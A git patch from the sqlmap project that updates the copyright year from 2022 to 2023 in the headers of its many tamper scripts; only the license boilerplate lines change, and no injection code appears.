-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/0eunion.py b/tamper/0eunion.py
index 1a84ac3805c..84587ee4d4f 100644
--- a/tamper/0eunion.py
+++ b/tamper/0eunion.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/__init__.py b/tamper/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/tamper/__init__.py
+++ b/tamper/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py
index 26b7c523385..67b38d31ce2 100644
--- a/tamper/apostrophemask.py
+++ b/tamper/apostrophemask.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py
index d65fcda5e1c..c9334100e91 100644
--- a/tamper/apostrophenullencode.py
+++ b/tamper/apostrophenullencode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py
index 46e8ed626b2..7c565859724 100644
--- a/tamper/appendnullbyte.py
+++ b/tamper/appendnullbyte.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/base64encode.py b/tamper/base64encode.py
index 070442c7e81..d813876d120 100644
--- a/tamper/base64encode.py
+++ b/tamper/base64encode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/between.py b/tamper/between.py
index 5f440575720..d101f210e89 100644
--- a/tamper/between.py
+++ b/tamper/between.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/binary.py b/tamper/binary.py
index 82ca49b3d93..24bdcbca145 100644
--- a/tamper/binary.py
+++ b/tamper/binary.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py
index 3363226eb03..8804a3a9b08 100644
--- a/tamper/bluecoat.py
+++ b/tamper/bluecoat.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py
index f14e6558ab2..bb0c4ca17fd 100644
--- a/tamper/chardoubleencode.py
+++ b/tamper/chardoubleencode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/charencode.py b/tamper/charencode.py
index 9c2bd1b6152..f676cab8b29 100644
--- a/tamper/charencode.py
+++ b/tamper/charencode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py
index 1005ca7390a..fd0427f0cfd 100644
--- a/tamper/charunicodeencode.py
+++ b/tamper/charunicodeencode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py
index 136a2a5de17..cec28fb8d48 100644
--- a/tamper/charunicodeescape.py
+++ b/tamper/charunicodeescape.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py
index 99464794f96..18443bb88f4 100644
--- a/tamper/commalesslimit.py
+++ b/tamper/commalesslimit.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py
index 3764bc6e568..6e652778edd 100644
--- a/tamper/commalessmid.py
+++ b/tamper/commalessmid.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py
index dd330250a70..fa2b3d8a453 100644
--- a/tamper/commentbeforeparentheses.py
+++ b/tamper/commentbeforeparentheses.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py
index ce269f5139b..8a4362cdd3f 100644
--- a/tamper/concat2concatws.py
+++ b/tamper/concat2concatws.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/decentities.py b/tamper/decentities.py
index 4dfb058da34..187e352ae4b 100644
--- a/tamper/decentities.py
+++ b/tamper/decentities.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/dunion.py b/tamper/dunion.py
index 2beeeb9741f..f4b5cceb2ea 100644
--- a/tamper/dunion.py
+++ b/tamper/dunion.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py
index 70cdfb2f5f5..c86d1d48c35 100644
--- a/tamper/equaltolike.py
+++ b/tamper/equaltolike.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py
index d8e1601069f..67dfdf7492a 100644
--- a/tamper/equaltorlike.py
+++ b/tamper/equaltorlike.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py
index a41a7b496d0..85531ea6764 100644
--- a/tamper/escapequotes.py
+++ b/tamper/escapequotes.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/greatest.py b/tamper/greatest.py
index 92ca931b6e5..091e722d57e 100644
--- a/tamper/greatest.py
+++ b/tamper/greatest.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py
index acfc4d2ffc1..e43870f5a53 100644
--- a/tamper/halfversionedmorekeywords.py
+++ b/tamper/halfversionedmorekeywords.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/hex2char.py b/tamper/hex2char.py
index 4fb1408ed8f..996265384bf 100644
--- a/tamper/hex2char.py
+++ b/tamper/hex2char.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/hexentities.py b/tamper/hexentities.py
index 0bce83bc071..e60ed8df9de 100644
--- a/tamper/hexentities.py
+++ b/tamper/hexentities.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py
index b9a7725115f..0fcdef0c64f 100644
--- a/tamper/htmlencode.py
+++ b/tamper/htmlencode.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py
index ab1d8a0745a..e8b5de7d333 100644
--- a/tamper/ifnull2casewhenisnull.py
+++ b/tamper/ifnull2casewhenisnull.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """
 
diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py
index d8aa5451c06..6fac2758f7c 100644
--- a/tamper/ifnull2ifisnull.py
+++ b/tamper/ifnull2ifisnull.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py
index a2ef9362168..8272ec280d4 100644
--- a/tamper/informationschemacomment.py
+++ b/tamper/informationschemacomment.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/least.py b/tamper/least.py
index cab908790a2..d59f1a458eb 100644
--- a/tamper/least.py
+++ b/tamper/least.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/lowercase.py b/tamper/lowercase.py
index efaf360bb25..9d49eb3e4b1 100644
--- a/tamper/lowercase.py
+++ b/tamper/lowercase.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/luanginx.py b/tamper/luanginx.py
index dec6d623c61..b302e71d6ae 100644
--- a/tamper/luanginx.py
+++ b/tamper/luanginx.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/misunion.py b/tamper/misunion.py
index 9737f04ea30..9f1c5d95756 100644
--- a/tamper/misunion.py
+++ b/tamper/misunion.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/modsecurityversioned.py b/tamper/modsecurityversioned.py
index 3453c7e1ad4..25c66f0bcae 100644
--- a/tamper/modsecurityversioned.py
+++ b/tamper/modsecurityversioned.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/modsecurityzeroversioned.py b/tamper/modsecurityzeroversioned.py
index 590404908cb..0d3ca440ede 100644
--- a/tamper/modsecurityzeroversioned.py
+++ b/tamper/modsecurityzeroversioned.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/multiplespaces.py b/tamper/multiplespaces.py
index 76122e7677d..b3cd78c06da 100644
--- a/tamper/multiplespaces.py
+++ b/tamper/multiplespaces.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/ord2ascii.py b/tamper/ord2ascii.py
index 3f6c2a57bf5..b7b0676b4ff 100644
--- a/tamper/ord2ascii.py
+++ b/tamper/ord2ascii.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/overlongutf8.py b/tamper/overlongutf8.py
index 31e31cf1f1e..ba8de68b50e 100644
--- a/tamper/overlongutf8.py
+++ b/tamper/overlongutf8.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/overlongutf8more.py b/tamper/overlongutf8more.py
index a0013c71a5e..343312e0bc6 100644
--- a/tamper/overlongutf8more.py
+++ b/tamper/overlongutf8more.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/percentage.py b/tamper/percentage.py
index edce9d630a8..e65dc957373 100644
--- a/tamper/percentage.py
+++ b/tamper/percentage.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/plus2concat.py b/tamper/plus2concat.py
index 13ac64e1600..b7f862aa9e8 100644
--- a/tamper/plus2concat.py
+++ b/tamper/plus2concat.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/plus2fnconcat.py b/tamper/plus2fnconcat.py
index 6a50132afaf..39cd9ed2501 100644
--- a/tamper/plus2fnconcat.py
+++ b/tamper/plus2fnconcat.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/randomcase.py b/tamper/randomcase.py
index ce614e474f4..b2737445e5d 100644
--- a/tamper/randomcase.py
+++ b/tamper/randomcase.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/randomcomments.py b/tamper/randomcomments.py
index 59d79819e3c..a6d378f2113 100644
--- a/tamper/randomcomments.py
+++ b/tamper/randomcomments.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/schemasplit.py b/tamper/schemasplit.py
index a4f0ca2ad41..c05b45ad0c4 100644
--- a/tamper/schemasplit.py
+++ b/tamper/schemasplit.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/scientific.py b/tamper/scientific.py
index 28f94a825e8..95f40158153 100644
--- a/tamper/scientific.py
+++ b/tamper/scientific.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/sleep2getlock.py b/tamper/sleep2getlock.py
index f249c9eace0..5fb1cd01a49 100644
--- a/tamper/sleep2getlock.py
+++ b/tamper/sleep2getlock.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/sp_password.py b/tamper/sp_password.py
index 9169cd593c7..a693712c64b 100644
--- a/tamper/sp_password.py
+++ b/tamper/sp_password.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2comment.py b/tamper/space2comment.py
index 35c4bbad666..59689836a0f 100644
--- a/tamper/space2comment.py
+++ b/tamper/space2comment.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2dash.py b/tamper/space2dash.py
index 6079a33126d..b23000831fa 100644
--- a/tamper/space2dash.py
+++ b/tamper/space2dash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2hash.py b/tamper/space2hash.py
index 797fde11656..9cc18554679 100644
--- a/tamper/space2hash.py
+++ b/tamper/space2hash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2morecomment.py b/tamper/space2morecomment.py
index 67d318df2b6..bd29e1d6f88 100644
--- a/tamper/space2morecomment.py
+++ b/tamper/space2morecomment.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2morehash.py b/tamper/space2morehash.py
index a5a7ee44783..77ff792c9fa 100644
--- a/tamper/space2morehash.py
+++ b/tamper/space2morehash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py
index 46c155de60d..01a3f6b93da 100644
--- a/tamper/space2mssqlblank.py
+++ b/tamper/space2mssqlblank.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py
index dd6f68764cb..abe95af15f5 100644
--- a/tamper/space2mssqlhash.py
+++ b/tamper/space2mssqlhash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py
index 7f52f22dca1..32e18e7e582 100644
--- a/tamper/space2mysqlblank.py
+++ b/tamper/space2mysqlblank.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py
index c9459554751..2c54f9a6a82 100644
--- a/tamper/space2mysqldash.py
+++ b/tamper/space2mysqldash.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2plus.py b/tamper/space2plus.py
index 94903b3c51b..d46f4106454 100644
--- a/tamper/space2plus.py
+++ b/tamper/space2plus.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py
index c050fb2af70..880fcc08e68 100644
--- a/tamper/space2randomblank.py
+++ b/tamper/space2randomblank.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py
index 0d2a36010c5..773ae330078 100644
--- a/tamper/substring2leftright.py
+++ b/tamper/substring2leftright.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py
index 39753be9498..80258af5b94 100644
--- a/tamper/symboliclogical.py
+++ b/tamper/symboliclogical.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py
index daaf69596d5..2b286553dba 100644
--- a/tamper/unionalltounion.py
+++ b/tamper/unionalltounion.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py
index 960c0012ca8..b8e04f8d6b0 100644
--- a/tamper/unmagicquotes.py
+++ b/tamper/unmagicquotes.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/uppercase.py b/tamper/uppercase.py
index 83885dd6cd2..c2a03025c6f 100644
--- a/tamper/uppercase.py
+++ b/tamper/uppercase.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/varnish.py b/tamper/varnish.py
index f13b28ba6fc..09cb37f7b2b 100644
--- a/tamper/varnish.py
+++ b/tamper/varnish.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py
index 7c57c5c3302..cfd116e16f6 100644
--- a/tamper/versionedkeywords.py
+++ b/tamper/versionedkeywords.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py
index f4688c1975d..1e2de36bde0 100644
--- a/tamper/versionedmorekeywords.py
+++ b/tamper/versionedmorekeywords.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py
index 004f0f89e2f..79edb8b01fd 100644
--- a/tamper/xforwardedfor.py
+++ b/tamper/xforwardedfor.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

From 7940b572ef5f61d0888d588ccece830fc2e07313 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
